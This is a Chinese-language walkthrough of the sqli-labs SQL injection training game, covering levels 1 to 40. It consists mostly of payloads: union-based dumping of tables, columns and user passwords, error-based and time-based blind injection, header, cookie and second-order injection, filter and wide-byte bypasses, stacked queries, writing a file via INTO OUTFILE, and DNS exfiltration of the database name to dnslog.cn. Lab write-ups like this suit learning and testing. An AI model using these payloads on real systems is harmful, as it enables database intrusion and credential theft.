SQL注入篇 |
您所在的位置:网站首页 › 详解sql基础语法实验报告 › SQL注入篇 |
sqli-labs是训练SQL注入的一款闯关游戏,分四页,共75关,不过我还没通关。 ☝☝☝☝☝☝☝有疑问欢迎写信哦 sqli-labs闯关游戏页面如果你的电脑无法像下面这样正常显示可以参照文章https://admin-root.blog.csdn.net/article/details/103597999 ☛点我一键到底☚ sql注入基本语句: order by 4 -- - 判断有多少列 union select 1,2,3 -- - 判断数据显示点 union select 1,user(),database() -- - 显示出登录用户和数据库名 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- - 查看数据库有哪些表 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- - 查看对应表有哪些列 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- - 查看账号密码信息 Page-1(Basic Challenges)基本挑战 less1-22 less-1——基于单引号的字符型注入注入语句: id=1' and 1=1 -- - 1、判断注入点 2、把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入 3、确定注入字符后,判断有多少列, 超出列数会报错 id=1' order by 4 -- - 4、判断数据显示点 (id一定要改为0或负数) id=0' union select 1,2,3 -- - 5、然后便可在注入字符后加入前面的sql注入基本语句 less-2——布尔型注入注入语句: id=1 and 1=1 -- -方法同上。 less-3——基于’)的字符型注入注入语句: id=1') and 1=1 -- -方法同上。 less-4——基于")字符型注入注入语句: id=1") and 1=1 -- -方法同上。 less-5——基于’字符型的错误回显注入注入语句: id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -效果如图: less-6——基于"字符型的错误回显注入注入语句: id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -效果如图: less-7——文件读写注入注入语句: 1')) union select 1,'',3 into outfile 'D://1.php' -- -效果如图: 查看D:盘下是否出现1.php文件 less-8——基于’的盲注(利用dns回显)注入语句: id=1' and load_file(concat("\\\\",(database()),".2bmfvu.dnslog.cn\\1.txt")) -- - 1、点击此处获取dns地址 2、将地址复制填入SQL语句中执行 3、在DNSLog.cn网站会看到回显结果为security效果如图: less-9——基于’的时间盲注注入语句: id=1' and if(length(database())>3 ,sleep(5),1) -- -因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。效果如图: 如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。效果如图: less-10——基于"的时间盲注注入语句: id=1" and if(length(database())>7 ,sleep(5),1) -- -方法与第九关相同,将’改成"即可。 less-11——基于’的POST型注入注入语句: admin' and 1=1 -- -这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入 less-12——基于")的POST型注入注入语句: admin") and 1=1 -- -方法同上。 less-13——基于’)的错误回显注入注入语句: admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -效果如图: less-14——基于"的错误回显注入注入语句: admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -方法同上。 less-15——基于’的POST型注入(利用dns回显)注入语句: admin' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) -- -效果如图: less-16——基于’的POST型注入(利用dns回显)注入语句: admin") and 1=1 -- -方法同上。 less-17——基于’的密码报错注入注入语句: ' and (updatexml(1,concat(0x7e, database(),0x7e),1))#从密码入手输入注入语句进行报错注入,效果如图: less-18——基于’的User-Agent:报头文报错注入注入语句: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))# 1、先用Burp Suite抓取输入正确用户密码的登录页面 2、然后在报头文User-Agent:后加入注入语句即可,效果如图: less-19——基于’的Referer:报头文报错注入注入语句: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#方法同上,只需把报头文改成Referer:即可。 less-20——基于’的Cookie:报头文报错注入注入语句: uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;方法同上,只需把报头文改成Cookie:即可。 Page-2(Advanced Injections)高级注入 less21-38 less-21——基于’)字符型的Cookie注入一、首先正常登陆进入以下页面 二、使用Burp Suite抓包当前页面。 三、转入Repeater模块将选中部分Ctrl+B进行Base64编码 注入语句: ') union select 1,2,3# 编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=四、能够正常显示,接下来相信你知道该怎么做了 less-22——基于"字符型的Cookie注入注入语句: uname=" union select 1,2,3# ;操作步骤同上 less-23——过滤注释的GET型注入注入语句: id=-1' union select 1,2,3 ='1 less-24——二次注入假设知道有admin用户但是不知道密码 首先点击New User click here? 注册admin’ – -用户 然后登录该用户修改密码 然后再使用admin输入刚才admin’ – -修改的密码 登录成功,此时两个账号的密码一样 less-25——过滤or和and的单引号注入注入语句: id=-1' union select 1,2,3-- less-25a——过滤or和and的注入注入语句: id=-1 union select 1,2,3-- less-26——基于’过滤注释和空格的注入注入语句: id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1 less-26a——基于’)过滤注释和空格的盲注这里不会报错,只是多加了一个括号。 less-27——基于’过滤union、select与注释和空格的注入注入语句: id=1'and(updatexml(1,'~aaaa',1))and'1'='1 less-27a——基于"过滤union和select 的盲注单引号换成双引号,方法同上。 less-28——基于’)过滤union和select等的注入注入语句: 网址栏url转码后 id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273 url 转码前 id=111') UnIon All Select ('1'),2,('3 less-28a——基于’)过滤union、select和空格的盲注注入语句: 网址栏url后 http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20- url转码前 id=-1') UnIon All Select 1,2,3 -- - less-29 index.php——基于单引号字符型的注入注入语句: id=-1' union select 1,2,3 -- - less-29 隐藏关login.php——基于单引号的参数污染绕过注入语句: id=1&id=-1' union select 1,2,3 -- - less-30 index.php——基于双引号字符型的注入注入语句: id=-1" union select 1,2,3 -- - less-30 隐藏关login.php——基于双引号的参数污染绕过注入语句: id=1&id=-1" union select 1,2,3 -- - less-31——基于")字符型的注入注入语句: id=-1") union select 1,2,3 -- - less-31 隐藏关login.php——基于")的参数污染绕过注入语句: id=1&id=-1") union select 1,2,3 -- - less-32——宽字节注入注入语句: id=-1%df' union select 1,2,3 -- - less-33——get方式宽字节注入在网址栏输入注入语句: id=-1%df%27%20union%20select%201,2,3%20--%20- less-34——post方式宽字节注入注入语句: Dumb�' union select 1,2,3 -- less-35——数值型注入注入语句: id=-1 union select 1,2,3 less-36——宽字节注入注入语句: id=-1�' union select 1,2,3 -- - less-37——宽字节post注入注入语句: id=-1�' union select 1,2,3 -- - id=-1�' union select 1,2,3 -- - Page-3 (Stacked Injections)堆叠注入 less38-53 less-38——基于字符串的堆叠注入注入语句: id=1;CREATE DATABASE sq default charset utf8; -- -查询id为1的用户名密码,同时创建名为sq的数据库。 数据库创建成功,说明两条语句都执行了。 less-39——堆叠注入注入语句: id=1;CREATE DATABASE sq default charset utf8; -- - less-40——堆叠盲注 Page-4 (Challenges)挑战 less54-75 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |